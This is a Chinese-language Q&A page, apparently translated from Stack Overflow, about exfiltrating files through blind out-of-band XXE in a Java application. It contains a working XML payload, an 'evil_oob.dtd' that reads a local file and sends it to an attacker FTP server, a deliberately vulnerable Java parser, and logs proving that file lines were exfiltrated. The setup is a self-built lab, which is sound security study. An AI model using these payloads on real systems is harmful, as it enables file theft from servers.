首页 > 解决方案 > XXE - 无法检索多行文件

问题描述

我创建了一个易受(盲)XXE 攻击的 Java 应用程序。

我能够利用该漏洞并使用以下方法检索包含单行的文件:

1)拦截XML请求并修改如下:

<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>

2) 在 192.168.27.152 上,在端口 80 上提供以下 evil_oob.dtd:

<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">

3)在攻击者机器的 2121 端口上运行修改后的 FTP 服务器 ( Python )。

正如我之前解释的,当 test.txt 包含一行时,一切正常。但是,如果 test.txt 包含多行(因此包含回车),则 ftp URL 无效并且我收到以下错误:

java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command     at
 sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)

<... snip ...>

at java.lang.Thread.run(Thread.java:748) Caused by:
  sun.net.ftp.FtpProtocolException: Illegal FTP command     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)   at
  sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)     at
  sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)     at
  sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
    ... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
  carriage return**     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)

我还尝试用在不同端口上运行的 http 服务器替换 FTP 服务器,但我当然会遇到类似的错误,因为在这种情况下 URL 也是无效的。

我想知道是否甚至可以通过盲 XXE 检索包含多行的文件?我知道使用 PHP 有时可以使用 PHP 过滤器对文件进行 base64 编码,但 Java 并非如此。

我已经阅读了数十篇文章,但找不到实现目标的方法。

标签: javaxmlxxe

解决方案


这曾经适用于旧版本的 Java,但现在不再适用。它在 Java 7 中的某个时间点进行了修补。

您可以在 docker 容器上使用旧版本的 Java 对其进行测试。我找不到现成的,但您可以使用旧版本的 Alpine 快速测试。这是一个例子Dockerfile

FROM alpine:3.3

ENV JAVA_HOME=/usr/lib/jvm/default-jvm

RUN apk add --no-cache openjdk7 && \
    ln -sf "${JAVA_HOME}/bin/"* "/usr/bin/"

构建它:

docker build -t openjdk7:91 .

您可以使用以下代码模拟易受攻击的服务器:

import javax.xml.parsers.*;
import org.xml.sax.*;
import javax.xml.transform.dom.*;
import org.w3c.dom.Document;

public class JavaXXE{

    public static void main(String []args) throws Exception{

        String xml = "xxe_trigger.xml";
        DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = df.newDocumentBuilder();
        Document document = builder.parse(new InputSource(xml));
        DOMSource domSource = new DOMSource(document);
    
    }
}

将此文件另存为JavaXXE.java. 将您的 XML(和 XXE)放入一个名为xxe_trigger.xml. 然后在 docker 上运行代码(它将当前目录映射到 Docker 的 /tmp):

docker run --rm -v `pwd`:/tmp --workdir /tmp openjdk7:91 sh -c '/usr/lib/jvm/default-jvm/bin/javac JavaXXE.java && java JavaXXE'

您将看到它将访问您的 FTP 服务器并将文件的所有行作为命令转储。概念验证:

FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to 
> 230 more data please!
< check newline handling capability
> 230 more data please!

推荐阅读